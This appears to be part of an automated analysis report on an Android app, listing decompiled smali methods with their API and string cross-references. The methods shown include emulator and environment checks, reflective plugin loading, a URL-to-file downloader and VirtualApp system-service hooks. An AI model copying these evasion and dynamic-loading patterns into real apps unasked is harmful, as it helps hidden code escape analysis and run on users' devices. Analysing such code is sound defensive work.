                              19new-instance v2, Ljava/lang/StringBuffer;
                              21invoke-direct {v2}, Ljava/lang/StringBuffer;-><init>()V
                              23const-string/jumbo v3, ""
                              24new-instance v3, Ljava/io/BufferedReader;
                              25new-instance v4, Ljava/io/InputStreamReader;
                              27invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                              28move-result-object v1
                              30const-string/jumbo v5, "utf-8"
                              32invoke-direct {v4, v1, v5}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;Ljava/lang/String;)V
                              34invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              35goto_34:
                              36invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              37move-result-object v1
                              38if-eqz v1, :cond_40
                              40invoke-virtual {v2, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              41goto/16 :goto_34
                              42catch_3e: move-exception v1
                              43goto_3f: return-object v0
                              44cond_40:
                              45invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
                              47invoke-virtual {v2}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                              48move-result-object v1
                              50invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              51try_end_4a: move-result-object v0
                              52goto/16 :goto_3f
                              Cross References
                              APIs
                              • java.lang.ProcessBuilder.<init>
                              • java.lang.ProcessBuilder.start
                              • java.lang.StringBuffer.<init>
                              • java.lang.Process.getInputStream
                              • java.io.InputStreamReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.StringBuffer.append
                              • java.io.BufferedReader.close
                              • java.lang.StringBuffer.toString
                              • java.lang.String.toLowerCase
                              Strings
                              • /system/bin/cat
                              • /proc/cpuinfo
                              • utf-8
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, ""
                              3const/4 v1, 0x2
                              4try_start_4: new-array v1, v1, [Ljava/lang/String;
                              5const/4 v2, 0x0
                              7const-string/jumbo v3, "/system/bin/cat"
                              8aput-object v3, v1, v2
                              9const/4 v2, 0x1
                              11const-string/jumbo v3, "/proc/cpuinfo"
                              12aput-object v3, v1, v2
                              13new-instance v2, Ljava/lang/ProcessBuilder;
                              15invoke-direct {v2, v1}, Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
                              17invoke-virtual {v2}, Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
                              18move-result-object v1
                              19new-instance v2, Ljava/lang/StringBuffer;
                              21invoke-direct {v2}, Ljava/lang/StringBuffer;-><init>()V
                              23const-string/jumbo v3, ""
                              24new-instance v3, Ljava/io/BufferedReader;
                              25new-instance v4, Ljava/io/InputStreamReader;
                              27invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                              28move-result-object v1
                              30const-string/jumbo v5, "utf-8"
                              32invoke-direct {v4, v1, v5}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;Ljava/lang/String;)V
                              34invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              35goto_34:
                              36invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              37move-result-object v1
                              38if-eqz v1, :cond_40
                              40invoke-virtual {v2, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              41goto/16 :goto_34
                              42catch_3e: move-exception v1
                              43goto_3f: return-object v0
                              44cond_40:
                              45invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
                              47invoke-virtual {v2}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                              48move-result-object v1
                              50invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              51try_end_4a: move-result-object v0
                              52goto/16 :goto_3f
                              Cross References
                              APIs
                              • java.util.HashMap.<init>
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.lang.Boolean.valueOf
                              • java.util.Map.put
                              • java.lang.reflect.Method.invoke
                              Strings
                              • pluginLoaded
                              • AppContext
                              • PluginContext
                              • IsParent
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/util/Map",
                              4"<",
                              5"Ljava/lang/String;",
                              6"Ljava/lang/Object;",
                              7">;)V"
                              8}
                              9.end annotation
                              10.prologue
                              12iget-object v0, p0, Lsdk/nicro/lu/ps/f$c;->b:Ljava/lang/Object;
                              13if-eqz v0, :cond_6f
                              14if-nez p1, :cond_b
                              15try_start_6: new-instance p1, Ljava/util/HashMap;
                              17invoke-direct {p1}, Ljava/util/HashMap;-><init>()V
                              18cond_b:
                              19iget-object v0, p0, Lsdk/nicro/lu/ps/f$c;->b:Ljava/lang/Object;
                              21invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              22move-result-object v0
                              24const-string/jumbo v1, "pluginLoaded"
                              25const/4 v2, 0x3
                              26new-array v2, v2, [Ljava/lang/Class;
                              27const/4 v3, 0x0
                              28const-class v4, Ljava/lang/Object;
                              29aput-object v4, v2, v3
                              30const/4 v3, 0x1
                              31const-class v4, Ljava/util/Map;
                              32aput-object v4, v2, v3
                              33const/4 v3, 0x2
                              34const-class v4, Ljava/util/Map;
                              35aput-object v4, v2, v3
                              37invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              38move-result-object v0
                              39const/4 v1, 0x1
                              41invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              43iget-object v1, p0, Lsdk/nicro/lu/ps/f$c;->c:Lsdk/nicro/lu/ps/f;
                              45invoke-virtual {v1}, Lsdk/nicro/lu/ps/f;->e()Lsdk/nicro/lu/ps/h;
                              46move-result-object v1
                              48invoke-virtual {v1}, Lsdk/nicro/lu/ps/h;->g()Ljava/util/Map;
                              49move-result-object v1
                              51const-string/jumbo v2, "AppContext"
                              53iget-object v3, p0, Lsdk/nicro/lu/ps/f$c;->c:Lsdk/nicro/lu/ps/f;
                              55invoke-virtual {v3}, Lsdk/nicro/lu/ps/f;->d()Landroid/content/Context;
                              56move-result-object v3
                              58invoke-interface {v1, v2, v3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              60const-string/jumbo v2, "PluginContext"
                              62iget-object v3, p0, Lsdk/nicro/lu/ps/f$c;->c:Lsdk/nicro/lu/ps/f;
                              64invoke-virtual {v3}, Lsdk/nicro/lu/ps/f;->b()Landroid/content/Context;
                              65move-result-object v3
                              67invoke-interface {v1, v2, v3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              69const-string/jumbo v2, "IsParent"
                              70sget-boolean v3, Lsdk/nicro/lu/u;->c:Z
                              72invoke-static {v3}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              73move-result-object v3
                              75invoke-interface {v1, v2, v3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              77iget-object v2, p0, Lsdk/nicro/lu/ps/f$c;->b:Ljava/lang/Object;
                              78const/4 v3, 0x3
                              79new-array v3, v3, [Ljava/lang/Object;
                              80const/4 v4, 0x0
                              82iget-object v5, p0, Lsdk/nicro/lu/ps/f$c;->c:Lsdk/nicro/lu/ps/f;
                              83aput-object v5, v3, v4
                              84const/4 v4, 0x1
                              85aput-object v1, v3, v4
                              86const/4 v1, 0x2
                              87aput-object p1, v3, v1
                              89invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              90goto_6f: return-void
                              91catch_70: move-exception v0
                              93iget-object v1, p0, Lsdk/nicro/lu/ps/f$c;->a:Lsdk/nicro/lu/ps/f;
                              95invoke-static {v1, v0}, Lsdk/nicro/lu/ps/f;->a(Lsdk/nicro/lu/ps/f;Ljava/lang/Exception;)V
                              96goto/16 :goto_6f
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              • java.lang.String.toLowerCase
                              • java.lang.String.contains
                              • java.lang.String.trim
                              • java.lang.String.length
                              Strings
                              • android.os.SystemProperties
                              • get
                              • ro.yunos.version
                              • java.vm.name
                              • lemur
                              Position Instruction Meta Information
                              0.annotation build Landroid/annotation/SuppressLint;
                              1value = {
                              2"DefaultLocale"
                              3}
                              4.end annotation
                              5.prologue
                              6const/4 v4, 0x0
                              7const/4 v2, 0x1
                              8const/4 v3, 0x0
                              9try_start_3:
                              10const-string v0, "android.os.SystemProperties"
                              12invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              13move-result-object v0
                              15const-string v1, "get"
                              16const/4 v5, 0x1
                              17new-array v5, v5, [Ljava/lang/Class;
                              18const/4 v6, 0x0
                              19const-class v7, Ljava/lang/String;
                              20aput-object v7, v5, v6
                              22invoke-virtual {v0, v1, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              23move-result-object v1
                              24const/4 v0, 0x0
                              25const/4 v5, 0x1
                              26new-array v5, v5, [Ljava/lang/Object;
                              27const/4 v6, 0x0
                              29const-string v7, "ro.yunos.version"
                              30aput-object v7, v5, v6
                              32invoke-virtual {v1, v0, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              33move-result-object v0
                              34check-cast v0, Ljava/lang/String;
                              35try_end_26: const/4 v5, 0x0
                              36const/4 v6, 0x1
                              37try_start_28: new-array v6, v6, [Ljava/lang/Object;
                              38const/4 v7, 0x0
                              40const-string v8, "java.vm.name"
                              41aput-object v8, v6, v7
                              43invoke-virtual {v1, v5, v6}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              44move-result-object v1
                              45check-cast v1, Ljava/lang/String;
                              46try_end_35: if-eqz v1, :cond_43
                              48invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              49move-result-object v1
                              51const-string v4, "lemur"
                              53invoke-virtual {v1, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              54move-result v1
                              55if-nez v1, :cond_4f
                              56cond_43: if-eqz v0, :cond_55
                              58invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
                              59move-result-object v0
                              61invoke-virtual {v0}, Ljava/lang/String;->length()I
                              62move-result v0
                              63if-lez v0, :cond_55
                              64cond_4f: move v0, v2
                              65goto_50: return v0
                              66catch_51: move-exception v0
                              67move-object v0, v4
                              68goto_53: move-object v1, v4
                              69goto/16 :goto_35
                              70cond_55: move v0, v3
                              71goto/16 :goto_50
                              72catch_57: move-exception v1
                              73goto/16 :goto_53
                              Cross References
                              APIs
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.Class.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              Strings
                              • asInterface
                              • Could not create stub
                              • . Cause:
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Class",
                              4"<*>;",
                              5"Landroid/os/IBinder;",
                              6")",
                              7"Landroid/os/IInterface;"
                              8}
                              9.end annotation
                              10.prologue
                              11const/4 v1, 0x0
                              12if-eqz p0, :cond_5
                              13if-nez p1, :cond_7
                              14cond_5: move-object v0, v1
                              15goto_6: return-object v0
                              16try_start_7:
                              17const-string v0, "asInterface"
                              18const/4 v2, 0x1
                              19new-array v2, v2, [Ljava/lang/Class;
                              20const/4 v3, 0x0
                              21const-class v4, Landroid/os/IBinder;
                              22aput-object v4, v2, v3
                              24invoke-virtual {p0, v0, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              25move-result-object v0
                              26const/4 v2, 0x0
                              27const/4 v3, 0x1
                              28new-array v3, v3, [Ljava/lang/Object;
                              29const/4 v4, 0x0
                              30aput-object p1, v3, v4
                              32invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              33move-result-object v0
                              34check-cast v0, Landroid/os/IInterface;
                              35try_end_22: goto/16 :goto_6
                              36catch_23: move-exception v0
                              38sget-object v2, Lcom/lody/virtual/client/hook/base/BinderInvocationStub;->TAG:Ljava/lang/String;
                              39new-instance v3, Ljava/lang/StringBuilder;
                              41invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              43const-string v4, "Could not create stub "
                              45invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              46move-result-object v3
                              48invoke-virtual {p0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              49move-result-object v4
                              51invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              52move-result-object v3
                              54const-string v4, ". Cause: "
                              56invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              57move-result-object v3
                              59invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              60move-result-object v0
                              62invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              63move-result-object v0
                              65invoke-static {v2, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              66move-object v0, v1
                              67goto/16 :goto_6
                              Cross References
                              APIs
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.lang.System.getProperty
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setConnectTimeout
                              • java.net.HttpURLConnection.setReadTimeout
                              • java.net.HttpURLConnection.getContentLength
                              • java.net.HttpURLConnection.getInputStream
                              • java.io.FileOutputStream.<init>
                              • java.io.FileOutputStream.close
                              Strings
                              • http.agent
                              • User-Agent
                              • Android
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2try_start_1: new-instance v0, Ljava/net/URL;
                              4invoke-direct {v0, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              6invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              7move-result-object v0
                              8check-cast v0, Ljava/net/HttpURLConnection;
                              10const-string v2, "http.agent"
                              12invoke-static {v2}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
                              13move-result-object v2
                              15const-string v3, "User-Agent"
                              16if-nez v2, :cond_18
                              18const-string v2, "Android"
                              19cond_18:
                              20invoke-virtual {v0, v3, v2}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              21const v2, 0xea60
                              23invoke-virtual {v0, v2}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                              24const v2, 0x493e0
                              26invoke-virtual {v0, v2}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                              28invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getContentLength()I
                              29move-result v1
                              31invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                              32try_end_2e: move-result-object v0
                              33try_start_2f: new-instance v2, Ljava/io/FileOutputStream;
                              35invoke-direct {v2, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                              37invoke-static {v0, v2}, La/a/b/b;->a(Ljava/io/InputStream;Ljava/io/OutputStream;)V
                              39invoke-virtual {v2}, Ljava/io/FileOutputStream;->close()V
                              40try_end_3a: move v0, v1
                              41goto_3b: return v0
                              42catch_3c: move-exception v0
                              43move v0, v1
                              44goto/16 :goto_3b
                              45catch_3f: move-exception v0
                              46move v0, v1
                              47goto/16 :goto_3b
                              APIs
                              • android.app.ActivityManager$TaskDescription.getLabel
                              • android.app.ActivityManager$TaskDescription.getIcon
                              • com.lody.virtual.client.VClientImpl.get
                              • com.lody.virtual.client.VClientImpl.getCurrentApplication
                              • android.app.Application.getApplicationInfo
                              • android.app.Application.getPackageManager
                              • android.content.pm.ApplicationInfo.loadLabel
                              • java.lang.CharSequence.toString
                              • android.app.Application.getApplicationInfo
                              • android.app.Application.getPackageManager
                              • android.content.pm.ApplicationInfo.loadIcon
                              • android.app.ActivityManager$TaskDescription.getPrimaryColor
                              • android.app.ActivityManager$TaskDescription.<init>
                              • java.lang.reflect.Method.invoke
                              • java.lang.Throwable.printStackTrace
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x1
                              2aget-object v0, p3, v5
                              3check-cast v0, Landroid/app/ActivityManager$TaskDescription;
                              5invoke-virtual {v0}, Landroid/app/ActivityManager$TaskDescription;->getLabel()Ljava/lang/String;
                              6move-result-object v2
                              8invoke-virtual {v0}, Landroid/app/ActivityManager$TaskDescription;->getIcon()Landroid/graphics/Bitmap;
                              9move-result-object v1
                              10if-eqz v2, :cond_11
                              11if-nez v1, :cond_4d
                              12cond_11:
                              13invoke-static {}, Lcom/lody/virtual/client/VClientImpl;->get()Lcom/lody/virtual/client/VClientImpl;
                              14move-result-object v3
                              16invoke-virtual {v3}, Lcom/lody/virtual/client/VClientImpl;->getCurrentApplication()Landroid/app/Application;
                              17move-result-object v4
                              18if-eqz v4, :cond_4d
                              19if-nez v2, :cond_69
                              20try_start_1d:
                              21invoke-virtual {v4}, Landroid/app/Application;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                              22move-result-object v2
                              24invoke-virtual {v4}, Landroid/app/Application;->getPackageManager()Landroid/content/pm/PackageManager;
                              25move-result-object v3
                              27invoke-virtual {v2, v3}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence;
                              28move-result-object v2
                              30invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                              31move-result-object v2
                              32move-object v3, v2
                              33goto_2e: if-nez v1, :cond_67
                              35invoke-virtual {v4}, Landroid/app/Application;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                              36move-result-object v2
                              38invoke-virtual {v4}, Landroid/app/Application;->getPackageManager()Landroid/content/pm/PackageManager;
                              39move-result-object v4
                              41invoke-virtual {v2, v4}, Landroid/content/pm/ApplicationInfo;->loadIcon(Landroid/content/pm/PackageManager;)Landroid/graphics/drawable/Drawable;
                              42move-result-object v2
                              43if-eqz v2, :cond_67
                              45invoke-static {v2}, Lcom/lody/virtual/helper/utils/DrawableUtils;->drawableToBitMap(Landroid/graphics/drawable/Drawable;)Landroid/graphics/Bitmap;
                              46move-result-object v1
                              47move-object v2, v1
                              48goto_43: new-instance v1, Landroid/app/ActivityManager$TaskDescription;
                              50invoke-virtual {v0}, Landroid/app/ActivityManager$TaskDescription;->getPrimaryColor()I
                              51move-result v4
                              53invoke-direct {v1, v3, v2, v4}, Landroid/app/ActivityManager$TaskDescription;-><init>(Ljava/lang/String;Landroid/graphics/Bitmap;I)V
                              54try_end_4c: move-object v0, v1
                              55goto_4d:
                              56invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              57move-result-object v1
                              59invoke-virtual {v1}, Lcom/lody/virtual/client/core/VirtualCore;->getTaskDescriptionDelegate()Lcom/lody/virtual/client/hook/delegate/TaskDescriptionDelegate;
                              60move-result-object v1
                              61if-eqz v1, :cond_5b
                              63invoke-interface {v1, v0}, Lcom/lody/virtual/client/hook/delegate/TaskDescriptionDelegate;->getTaskDescription(Landroid/app/ActivityManager$TaskDescription;)Landroid/app/ActivityManager$TaskDescription;
                              64move-result-object v0
                              65cond_5b: aput-object v0, p3, v5
                              67invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              68move-result-object v0
                              69return-object v0
                              70catch_62: move-exception v1
                              72invoke-virtual {v1}, Ljava/lang/Throwable;->printStackTrace()V
                              73goto/16 :goto_4d
                              74cond_67: move-object v2, v1
                              75goto/16 :goto_43
                              76cond_69: move-object v3, v2
                              77goto/16 :goto_2e
                              Cross References
                              APIs
                              • java.util.ArrayList.<init>
                              • android.app.ActivityManager.getAppTasks
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.app.ActivityManager$AppTask.getTaskInfo
                              • android.app.ActivityManager$AppTask.getTaskInfo
                              • java.lang.Integer.valueOf
                              • java.util.List.add
                              • android.app.ActivityManager.getRunningTasks
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.lang.Integer.valueOf
                              • java.util.List.add
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"()",
                              3"Ljava/util/List",
                              4"<",
                              5"Ljava/lang/Integer;",
                              6">;"
                              7}
                              8.end annotation
                              9.prologue
                              10new-instance v1, Ljava/util/ArrayList;
                              12invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
                              13sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              14const/16 v2, 0x15
                              15if-lt v0, v2, :cond_37
                              17iget-object v0, p0, Lcom/lody/virtual/server/am/ActivityStack;->mAM:Landroid/app/ActivityManager;
                              19invoke-virtual {v0}, Landroid/app/ActivityManager;->getAppTasks()Ljava/util/List;
                              20move-result-object v0
                              21if-eqz v0, :cond_5b
                              23invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              24move-result-object v2
                              25cond_17:
                              26invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              27move-result v0
                              28if-eqz v0, :cond_5b
                              30invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              31move-result-object v0
                              32check-cast v0, Landroid/app/ActivityManager$AppTask;
                              34invoke-virtual {v0}, Landroid/app/ActivityManager$AppTask;->getTaskInfo()Landroid/app/ActivityManager$RecentTaskInfo;
                              35move-result-object v3
                              36if-eqz v3, :cond_17
                              38invoke-virtual {v0}, Landroid/app/ActivityManager$AppTask;->getTaskInfo()Landroid/app/ActivityManager$RecentTaskInfo;
                              39move-result-object v0
                              40iget v0, v0, Landroid/app/ActivityManager$RecentTaskInfo;->id:I
                              42invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              43move-result-object v0
                              45invoke-interface {v1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              46goto/16 :goto_17
                              47cond_37:
                              48iget-object v0, p0, Lcom/lody/virtual/server/am/ActivityStack;->mAM:Landroid/app/ActivityManager;
                              49const/16 v2, 0xff
                              51invoke-virtual {v0, v2}, Landroid/app/ActivityManager;->getRunningTasks(I)Ljava/util/List;
                              52move-result-object v0
                              53if-eqz v0, :cond_5b
                              55invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              56move-result-object v2
                              57goto_45:
                              58invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              59move-result v0
                              60if-eqz v0, :cond_5b
                              62invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              63move-result-object v0
                              64check-cast v0, Landroid/app/ActivityManager$RunningTaskInfo;
                              65iget v0, v0, Landroid/app/ActivityManager$RunningTaskInfo;->id:I
                              67invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              68move-result-object v0
                              70invoke-interface {v1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              71goto/16 :goto_45
                              72cond_5b: return-object v1
                              APIs
                              • java.util.HashMap.<init>
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.util.EnumMap.<init>
                              • b.a.ak$e.a:Lb/a/ak$e
                              • java.util.Map.put
                              • b.a.ak$e.b:Lb/a/ak$e
                              • java.util.Map.put
                              • b.a.ak$e.c:Lb/a/ak$e
                              • java.util.Map.put
                              • java.util.Collections.unmodifiableMap
                              Strings
                              • IdSnapshot
                              • identity
                              • ts
                              • version
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              2const/16 v8, 0xb
                              3const/16 v7, 0xa
                              4const/16 v6, 0x8
                              5const/4 v5, 0x1
                              6new-instance v0, Lb/a/bz;
                              8const-string v1, "IdSnapshot"
                              10invoke-direct {v0, v1}, Lb/a/bz;-><init>(Ljava/lang/String;)V
                              11sput-object v0, Lb/a/ak;->e:Lb/a/bz;
                              12new-instance v0, Lb/a/bq;
                              14const-string v1, "identity"
                              16invoke-direct {v0, v1, v8, v5}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              17sput-object v0, Lb/a/ak;->f:Lb/a/bq;
                              18new-instance v0, Lb/a/bq;
                              20const-string v1, "ts"
                              21const/4 v2, 0x2
                              23invoke-direct {v0, v1, v7, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              24sput-object v0, Lb/a/ak;->g:Lb/a/bq;
                              25new-instance v0, Lb/a/bq;
                              27const-string v1, "version"
                              28const/4 v2, 0x3
                              30invoke-direct {v0, v1, v6, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              31sput-object v0, Lb/a/ak;->h:Lb/a/bq;
                              32new-instance v0, Ljava/util/HashMap;
                              34invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                              35sput-object v0, Lb/a/ak;->i:Ljava/util/Map;
                              37sget-object v0, Lb/a/ak;->i:Ljava/util/Map;
                              38const-class v1, Lb/a/cd;
                              39new-instance v2, Lb/a/ak$b;
                              41invoke-direct {v2, v3}, Lb/a/ak$b;-><init>(Lb/a/ak$1;)V
                              43invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              45sget-object v0, Lb/a/ak;->i:Ljava/util/Map;
                              46const-class v1, Lb/a/ce;
                              47new-instance v2, Lb/a/ak$d;
                              49invoke-direct {v2, v3}, Lb/a/ak$d;-><init>(Lb/a/ak$1;)V
                              51invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              52new-instance v0, Ljava/util/EnumMap;
                              53const-class v1, Lb/a/ak$e;
                              55invoke-direct {v0, v1}, Ljava/util/EnumMap;-><init>(Ljava/lang/Class;)V
                              57sget-object v1, Lb/a/ak$e;->a:Lb/a/ak$e;
                              58new-instance v2, Lb/a/bj;
                              60const-string v3, "identity"
                              61new-instance v4, Lb/a/bk;
                              63invoke-direct {v4, v8}, Lb/a/bk;-><init>(B)V
                              65invoke-direct {v2, v3, v5, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              67invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              69sget-object v1, Lb/a/ak$e;->b:Lb/a/ak$e;
                              70new-instance v2, Lb/a/bj;
                              72const-string v3, "ts"
                              73new-instance v4, Lb/a/bk;
                              75invoke-direct {v4, v7}, Lb/a/bk;-><init>(B)V
                              77invoke-direct {v2, v3, v5, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              79invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              81sget-object v1, Lb/a/ak$e;->c:Lb/a/ak$e;
                              82new-instance v2, Lb/a/bj;
                              84const-string v3, "version"
                              85new-instance v4, Lb/a/bk;
                              87invoke-direct {v4, v6}, Lb/a/bk;-><init>(B)V
                              89invoke-direct {v2, v3, v5, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              91invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              93invoke-static {v0}, Ljava/util/Collections;->unmodifiableMap(Ljava/util/Map;)Ljava/util/Map;
                              94move-result-object v0
                              95sput-object v0, Lb/a/ak;->d:Ljava/util/Map;
                              96const-class v0, Lb/a/ak;
                              98sget-object v1, Lb/a/ak;->d:Ljava/util/Map;
                              100invoke-static {v0, v1}, Lb/a/bj;->a(Ljava/lang/Class;Ljava/util/Map;)V
                              101return-void
                              APIs
                              • android.os.Build.BRAND:Ljava/lang/String
                              • java.lang.String.equalsIgnoreCase
                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                              • java.lang.String.equalsIgnoreCase
                              Strings
                              • enqueueToast
                              • cancelToast
                              • removeAutomaticZenRules
                              • getImportance
                              • areNotificationsEnabled
                              • setNotificationPolicy
                              • getNotificationPolicy
                              • isNotificationPolicyAccessGrantedForPackage
                              • samsung
                              • removeEdgeNotification
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-super {p0}, Lcom/lody/virtual/client/hook/base/MethodInvocationProxy;->onBindMethods()V
                              3new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              5const-string v1, "enqueueToast"
